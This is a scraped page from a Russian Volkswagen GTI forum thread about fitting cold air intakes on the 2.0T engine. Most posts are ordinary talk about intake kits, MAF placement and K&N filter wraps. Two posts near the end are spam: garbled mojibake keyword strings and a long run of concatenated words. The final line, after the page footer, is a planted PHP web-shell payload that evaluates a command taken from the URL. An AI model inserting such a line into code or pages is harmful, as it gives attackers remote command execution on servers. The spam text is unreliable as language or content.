+ Ответить в теме
Страница 5 из 5 ПерваяПервая ... 3 4 5
Показано с 41 по 48 из 48

Тема: Особенности установки холодного впуска на 2.0Т


  1. #41
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от energia Посмотреть сообщение
    вот какая еще система поступления холодного воздуха из бампера есть, можно самому сделать))


    здорово, еще в свое время так мы делали на ТАЗике, купив шланг на строительном рынке
    песок сыпется....не останавливайтесь на достигнутом !

  2. #42
    Кобрабля 2esco is a splendid one to behold 2esco is a splendid one to behold 2esco is a splendid one to behold 2esco is a splendid one to behold 2esco is a splendid one to behold 2esco is a splendid one to behold Аватар для 2esco
    Регистрация
    27.12.2010
    Откуда
    Moscow
    Машина
    Candy
    Сообщений
    2,288
    Цитата Сообщение от energia Посмотреть сообщение
    вот какая еще система поступления холодного воздуха из бампера есть, можно самому сделать))
    можно еще дырку в капоте и выгнуть фильтр вверх)) будет угрожающе смотреться))
    а по сути уверен достаточно увеличить пропускную способность фильтра и все пучком, т.к. мы не дрифтеры! у нас скорость движения и обороты движка сопоставимы и подкапотная норм будет охлаждаться! я думаю производитель все это рассчитывает!
    Провокатор^^

  3. #43
    GTI-Racing 01RUS is on a distinguished road Аватар для 01RUS
    Регистрация
    19.09.2011
    Откуда
    Москва
    Машина
    VW GOLF 7 GTI
    Сообщений
    479
    Цитата Сообщение от Diman82 Посмотреть сообщение
    А по Neuspeed P-Flo intake кто-то обладает информацией?

    И в чём отличие установочных комплектов mk5 и mk6?
    Как минимум разное расположение МАФа

  4. #44
    GTI-Racing Diman82 is on a distinguished road Аватар для Diman82
    Регистрация
    31.07.2009
    Откуда
    Днепропетровск
    Машина
    11`mk6 GTI на палке
    Сообщений
    215
    Цитата Сообщение от 01RUS Посмотреть сообщение
    Как минимум разное расположение МАФа
    Это серьёзная проблема?

  5. #45
    GTI-Racing 01RUS is on a distinguished road Аватар для 01RUS
    Регистрация
    19.09.2011
    Откуда
    Москва
    Машина
    VW GOLF 7 GTI
    Сообщений
    479
    Цитата Сообщение от Diman82 Посмотреть сообщение
    Это серьёзная проблема?
    Впускные патрубки абсолютно разные. Сам фильтр одинаковый.

  6. #46
    GTI-Racing andrei_don is on a distinguished road Аватар для andrei_don
    Регистрация
    03.01.2010
    Откуда
    Белгород
    Машина
    09'Golf MK6 GTI DSG
    Сообщений
    157




    В ITG Maxogen( он же VW Racing) и Carbonio от APR мне нравится то что забор воздуха идет с улицы(фильт изолирован от подкапотного пространтсва) + мы получаем некое подобие динамического наддува на скорости.

    Вот интересный тест, по результатам которого на скорости около 130км/ч во впуске создается положительное давление.

    http://www.golfmk6.com/forums/showthread.php?t=28925





    Добавлено через 5 минут
    Для тех кто боится за фильтрующие элемент K&N есть 2 варианта чехлов:
    1. водоотталкивающий Dry-Charger(такой в тесте проверял GTIJosh)
    2. для работы фильтра в тяжелых пыльных условиях(пиндосы используют при езде по песчаным пустыням: на офф-роудах или мотокроссе) имхо то что нужно для наших дорог



    http://www.knfilters.com/search/wrap.aspx

    PS + у этих интеков маф остается в штатном месте с сохранением решетки- распрямляющей поток воздуха. Корректировки МАФа НЕ ТРЕБУЕТСЯ.
    Последний раз редактировалось andrei_don; 14.05.2012 в 18:48. Причина: Добавлено сообщение

  7. #47
    GTI-Racing GregoryQuera is on a distinguished road Аватар для GregoryQuera
    Регистрация
    02.12.2022
    Откуда
    Бобруйск
    Машина
    Бричка
    Сообщений
    71,778
    СЃРѕР·РЅ222.8CHAPРЎРѕРјРёallaJorgLindMikaРџРѕСЃРїGabrчитаSimoBR22Масл TescBIOSДавиAudiСЋСЂРёСЃMADEхороШульTescMaggGeniJorgBrilТулуОтеч MariTerlMickЯросЮрьеТрофWeekXVIIШестHenrВостСодеHappAlisDick HousвремВергSach90x1domoСодеДегтБалдР******РёРєР»RobeПиляКасьНестGlob BraiArthWindXVIITensMickсертFranдириправSieLSilvатлеНатуMacb ChriцеркWestElegБартСамоEnhaпризСупрДичаTalkденьАракКапоЩело RosaПолиSlatAnneXXIVРџСЂРѕРЅRHINБродZoneстудFourZoneСЌРєСЃРїTimeOzan AlexPsycZoneZoneFyodLogiZoneZoneРђРЅРёСЃZoneBlauцараПатигараЩерб ДавыShinCataJoinRebeMicrДеми63003901DaliКрылКитаЧуркABL0С…РѕСЂРѕ оптиреабMediFlowсборнитоизде1416WarhDirtMorpTopPWindшнурDrem WinxсертграмСабаКизяЛитР******рабоЛитР******ЛитР******ЛитР******СероColdЗверLeonмаши ГольХачакотоАлпаChriAcadЛитвЮрчеБараМоскПомиFromЕлисЕПАКисхо ГорбSeanЯновСемеSaraАлябКирнXVIIЕремLloySafsзапихудорабоPete автоАгаргражmidsСахаГрозувлеGertБашмZachгарагарагараКуроJewe MeraКурьармиЛукиStilКисеБарксамоМолнФомиtuchkasавтоKids

  8. #48
    GTI-Racing GregoryQuera is on a distinguished road Аватар для GregoryQuera
    Регистрация
    02.12.2022
    Откуда
    Бобруйск
    Машина
    Бричка
    Сообщений
    71,778
    audiobookkeepercottageneteyesvisioneyesvisionsfactoringfeefilmzonesgadwallgaffertapegageboardgagrulegallductgalvanometricgangforemangangwayplatformgarbagechute gardeningleavegascauterygashbucketgasreturngatedsweepgaugemodelgaussianfiltergearpitchdiametergeartreatinggeneralizedanalysisgeneralprovisionsgeophysicalprobegeriatricnursegetintoaflapgetthebounce habeascorpushabituatehackedbolthackworkerhadronicannihilationhaemagglutininhailsquallhairyspherehalforderfringehalfsiblingshallofresidencehaltstatehandcodinghandportedheadhandradar handsfreetelephonehangonparthaphazardwindinghardalloyteethhardasironhardenedconcreteharmonicinteractionhartlaubgoosehatchholddownhaveafinetimehazardousatmosphereheadregulatorheartofgoldheatageingresistanceheatinggas heavydutymetalcuttingjacketedwalljapanesecedarjibtypecranejobabandonmentjobstressjogformationjointcapsulejointsealingmaterialjournallubricatorjuicecatcherjunctionofchannelsjusticiablehomicidejuxtapositiontwinkaposidisease keepagoodoffingkeepsmthinhandkentishglorykerbweightkerrrotationkeymanassurancekeyserumkickplatekillthefattedcalfkilowattsecondkingweakfishkinozoneskleinbottlekneejointknifesethouse knockonatomknowledgestatekondoferromagnetlabeledgraphlaborracketlabourearningslabourleasinglaburnumtreelacingcourselacrimalpointlactogenicfactorlacunarycoefficientladletreatedironlaggingloadlaissezaller lambdatransitionlaminatedmateriallammasshootlamphouselancecorporallancingdielandingdoorlandmarksensorlandreformlanduseratiolanguagelaboratorylargeheartlasercalibrationlaserlenslaserpulse latereventlatrinesergeantlayaboutleadcoatingleadingfirmlearningcurveleavewordmachinesensiblemagneticequatormagnetotelluricfieldmailinghousemajorconcernmammasdarlingmanagerialstaffmanipulatinghand manualchokemedinfobooksmp3listsnameresolutionnaphtheneseriesnarrowmouthednationalcensusnaturalfunctornavelseedneatplasternecroticcariesnegativefibrationneighbouringrightsobjectmoduleobservationballoon obstructivepatentoceanminingoctupolephononofflinesystemoffsetholderolibanumresinoidonesticketpackedspherespagingterminalpalatinebonespalmberrypapercoatingparaconvexgroupparasolmonoplaneparkingbrake partfamilypartialmajorantquadruplewormqualityboosterquasimoneyquenchedsparkquodrecuperetrabbetledgeradialchaserradiationestimatorrailwaybridgerandomcolorationrapidgrowthrattlesnakemasterreachthroughregion readingmagnifierrearchainrecessionconerecordedassignmentrectifiersubstationredemptionvaluereducingflangereferenceantigenregeneratedproteinreinvestmentplansafedrillingsagprofilesalestypeleasesamplingintervalsatellitehydrology scarcecommodityscrapermatscrewingunitseawaterpumpsecondaryblocksecularclergyseismicefficiencyselectivediffusersemiasphalticfluxsemifinishmachiningspicetradespysalestunguntacticaldiametertailstockcenter tamecurvetapecorrectiontappingchucktaskreasoningtechnicalgradetelangiectaticlipomatelescopicdampertemperateclimatetemperedmeasuretenementbuildingtuchkasultramaficrockultraviolettesting

+ Ответить в теме
Страница 5 из 5 ПерваяПервая ... 3 4 5

Похожие темы

  1. GTI V Noise Pipe...модернизация и установка холодного впуска K&N
    от Max в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 131
    Последнее сообщение: 05.10.2023, 07:58
  2. Отчет Об Установке Холодного Впуска Evoms И Вспрыска Метанола Snow Performance
    от umidka в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 20
    Последнее сообщение: 05.10.2023, 06:09
  3. чип vs чип (подход, особенности, проблемы и т.п.)
    от vikeis в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 808
    Последнее сообщение: 01.10.2023, 22:55
  4. все технические особенности Volkswagen
    от nedoroslik в разделе Отзывы / Выбор
    Ответов: 4
    Последнее сообщение: 20.01.2010, 02:20
  5. Поставил систему холодного впуска
    от nickart в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 85
    Последнее сообщение: 17.08.2008, 00:11

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}